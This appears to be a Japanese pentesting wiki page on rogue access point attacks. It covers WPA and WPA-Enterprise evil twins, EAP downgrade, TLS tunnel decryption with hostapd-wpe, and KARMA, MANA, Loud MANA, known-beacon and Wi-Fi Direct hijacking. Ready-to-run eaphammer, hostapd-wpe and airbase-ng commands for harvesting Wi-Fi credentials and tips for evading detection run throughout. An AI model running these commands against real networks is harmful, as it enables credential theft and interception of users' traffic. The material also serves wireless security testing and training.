デフォルトでは、PNL内のESSIDがWPAで保護されている場合、デバイスは自動的にオープンなEvil Twinに接続しません。実際のAPをDoS攻撃して、ユーザーが手動でオープンなEvil Twinに接続することを期待するか、実際のAPをDoS攻撃してWPA Evil Twinを使用してハンドシェイクをキャプチャすることができます(この方法を使用すると、PSKを知らないため、被害者を自分に接続させることはできませんが、ハンドシェイクをキャプチャして解読を試みることができます)。
一部のOSとAVは、オープンネットワークに接続することは危険であるとユーザーに警告するかもしれません...
WPA/WPA2 Evil Twin
WPA/2を使用したEvil Twinを作成することができ、デバイスがWPA/2でそのSSIDに接続するように構成されている場合、接続を試みるでしょう。ただし、4ウェイハンドシェイクを完了するには、クライアントが使用するパスワードを知る必要があります。知らない場合、接続は完了しません。
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
エンタープライズ・イービルツイン
この攻撃を理解するためには、まずWPAエンタープライズの説明を読むことをお勧めします。
hostapd-wpeの使用
hostapd-wpe
は動作するために設定ファイルが必要です。これらの設定を自動化するために、https://github.com/WJDigby/apd_launchpadを使用できます(_ /etc/hostapd-wpe/_内のPythonファイルをダウンロードしてください)。
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
設定ファイルでは、ssid、channel、user files、cret/key、dh parameters、wpa version、authなど、さまざまな項目を選択できます。
EAP-TLSを使用してhostapd-wpeを使用し、任意の証明書でログインを許可する。
EAPHammerの使用
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
デフォルトでは、EAPHammerはこの認証方法を目的としています(平文パスワードを取得するために最初にGTCを試み、その後より堅牢な認証方法を使用します):
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
これは長い接続時間を避けるためのデフォルトの方法論です。ただし、最も弱い認証方法から最も強い方法まで、サーバーに認証方法を指定することもできます。
--negotiate weakest
または次のように使用することもできます:
--negotiate gtc-downgrade
を使用して、高効率のGTCダウングレード実装(平文パスワード)を使用します。--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP
を指定して、手動で提供されるメソッドを指定します(攻撃対象の組織と同じ認証メソッドを同じ順序で提供すると、攻撃を検出するのがはるかに難しくなります)。- ウィキで詳細情報を見つける
Airgeddonを使用する
Airgeddon
は以前に生成された証明書を使用して、WPA/WPA2-EnterpriseネットワークにEAP認証を提供できます。偽のネットワークは接続プロトコルをEAP-MD5にダウングレードするため、ユーザーとパスワードのMD5をキャプチャできます。後で、攻撃者はパスワードを解読しようと試みることができます。
Airggedon
は**連続したEvil Twin攻撃(ノイジー)または誰かが接続するまでEvil Attackを作成するだけ(スムーズ)**の可能性を提供します。
Evil Twins攻撃でのPEAPおよびEAP-TTLS TLSトンネルのデバッグ
この方法はPEAP接続でテストされましたが、任意のTLSトンネルを復号化しているため、EAP-TTLSでも機能するはずです
hostapd-wpe_の構成内で、dh_file_を含む行をコメントアウトします(dh_file=/etc/hostapd-wpe/certs/dh
から #dh_file=/etc/hostapd-wpe/certs/dh
に)
これにより、hostapd-wpe
がDHの代わりにRSAを使用して鍵を交換するようになり、後でサーバーの秘密鍵を知っている場合にトラフィックを復号できるようになります。
今、通常どおりに修正された構成を使用してEvil Twinを開始する**hostapd-wpe
を開始します。また、Evil Twin攻撃を実行しているインターフェースでwireshark
**を開始します。
今すぐまたは後で(すでにいくつかの認証意図をキャプチャしている場合)、wiresharkにプライベートRSA鍵を追加できます: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...
新しいエントリを追加し、この値でフォームを記入します: IPアドレス = any -- ポート = 0 -- プロトコル = data -- キーファイル(キーファイルを選択し、問題を避けるためにパスワード保護されていないキーファイルを選択します)。
そして新しい**"Decrypted TLS"タブ**を見てください:
KARMA、MANA、Loud MANAおよびKnown beacons攻撃
ESSIDおよびMACブラック/ホワイトリスト
次の表は、使用可能なMFACL(Management Frame Access Control Lists)の異なるタイプと、それらを使用した場合の効果をリストしています:
# example EAPHammer MFACL file, wildcards can be used
78:f0:97:fc:b5:36
9a:35:e1:01:4f:cf
69:19:14:60:20:45
ce:52:b8:*:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
apples
oranges
grapes
pears
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
Karma攻撃は、ステーションが使用するネットワーク選択プロセスを悪用するローグアクセスポイント攻撃の第二の形態です。2005年に書かれたホワイトペーパーでは、Dino Dai ZoviとShane Macaulayが、アクセスポイントを設定して、指向性プローブリクエストを受信し、それに一致する指向性プローブレスポンスで応答することで、攻撃者がアクセスポイントを構成できる方法が記載されています。これにより、影響を受けるステーションは、自動的に攻撃者のアクセスポイントに関連付けリクエストを送信します。その後、アクセスポイントは関連付けレスポンスで応答し、影響を受けるステーションが攻撃者に接続するようにします。
MANA
Ian de VilliersとDominic Whiteによると、現代のステーションは、少なくとも1つのブロードキャストプローブリクエストにすでに応答していないアクセスポイントからの指向性プローブレスポンスを無視することで、Karma攻撃に対して自己保護されるように設計されています。これにより、Karma攻撃に対して脆弱なステーションの数が大幅に減少しましたが、2015年にWhiteとde Villiersがそのような保護を回避する手段を開発しました。Whiteとde Villiersによる改良されたKarma攻撃(MANA攻撃)では、指向性プローブレスポンスを使用して近くのステーションのPNLを再構築します。ステーションからブロードキャストプローブリクエストが受信されると、攻撃者のアクセスポイントは、そのデバイスからの直接プローブで既に見られているデバイスのPNLから任意のSSIDで応答します。
要約すると、MANAアルゴリズムは次のように機能します。アクセスポイントがプローブリクエストを受信するたびに、まずそれがブロードキャストか指向性プローブかを判断します。指向性プローブの場合、送信元のMACアドレスがハッシュテーブルに追加され(まだ存在しない場合)、そのデバイスのPNLにESSIDが追加されます。その後、APは指向性プローブレスポンスで応答します。ブロードキャストプローブの場合、アクセスポイントはそのデバイスのPNL内の各ネットワークに対してプローブレスポンスで応答します。
eaphammerを使用したMANA攻撃:
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
ラウドMANA
標準のMANA攻撃では、直接のプロービングを使用しないデバイスを攻撃することはできません。したがって、デバイスのPNL内のエントリを事前に把握していない場合、別の攻撃方法を考える必要があります。
可能性の一つは、ラウドMANA攻撃と呼ばれるものです。この攻撃は、物理的に近接しているクライアントデバイスが、少なくともPNL内のいくつかの共通エントリを持っている可能性が高いという考えに基づいています。
要約すると、ラウドMANA攻撃は、特定のデバイスのPNL内の各ESSIDに対してプローブリクエストに応答するのではなく、ローグAPは以前に見たすべてのデバイスのすべてのPNL内のすべてのESSIDに対してプローブレスポンスを送信します。これを集合論に関連付けると、APは近くのデバイスのすべてのPNLの和集合内の各ESSIDに対してプローブレスポンスを送信します。
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
既知のビーコン攻撃
まだLoud MANA攻撃が成功しないケースがあります。
既知のビーコン攻撃は、被害者を攻撃者に接続させようとするためのESSIDを「ブルートフォース」する方法です。攻撃者は、任意のESSIDに応答するAPを作成し、ビーコンを送信するコードを実行して、ワードリスト内の各名前のESSIDを偽装します。被害者がPNL内にこれらのESSID名のいくつかを含んでいることを期待し、偽のAPに接続しようとします。
Eaphammerは、この攻撃をMANA攻撃として実装し、リスト内のすべてのESSIDがロードされます(これに--loud
を組み合わせてLoud MANA + 既知のビーコン攻撃を作成することもできます)。
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
既知のビーコンバースト攻撃
既知のビーコンは大きな存在です。Eaphammerプロジェクト内のスクリプトを使用して、ファイル内のすべてのESSID名のビーコンを非常に迅速に発信することができます。このスクリプトをEaphammer MANA攻撃と組み合わせると、クライアントはあなたのAPに接続できるようになります。
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct
Wi-Fi Directは、ワイヤレスAPなしでデバイス同士を接続するためのWi-Fi標準であり、2つのデバイスのうち1つがAPとして機能する(グループオーナーと呼ばれる)ことができます。プリンターやテレビなどの多くのIoTデバイスでWi-Fi Directを見つけることができます。
Wi-Fi Directは、デバイスを安全に接続するためにWi-Fi Protected Setup(WPS)に依存しています。WPSには、Push-Button Configuration(PBC)、PIN entry、およびNear-Field Communication(NFC)など、複数の構成方法があります。
したがって、PINが使用されている場合、WPS PINに以前見られた攻撃はここでも有効です。
EvilDirect Hijacking
これはEvil-Twinのように機能しますが、Wi-Fi Direct向けであり、他のデバイス(例:電話)があなたに接続するようにグループオーナーをなりすますことができます:airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0
参考文献
- https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
- https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d
- https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf
- http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d
TODO: https://github.com/wifiphisher/wifiphisherをチェックしてください(FacebookログインとキャプティブポータルでのWPAの模倣)
HackenProof Discordサーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
ハッキングの洞察
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
リアルタイムのハックニュース
リアルタイムのニュースと情報を通じて、ハッキングの世界を最新の状態で把握しましょう
最新のアナウンスメント
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
Discordに参加して、今日からトップハッカーと協力を始めましょう!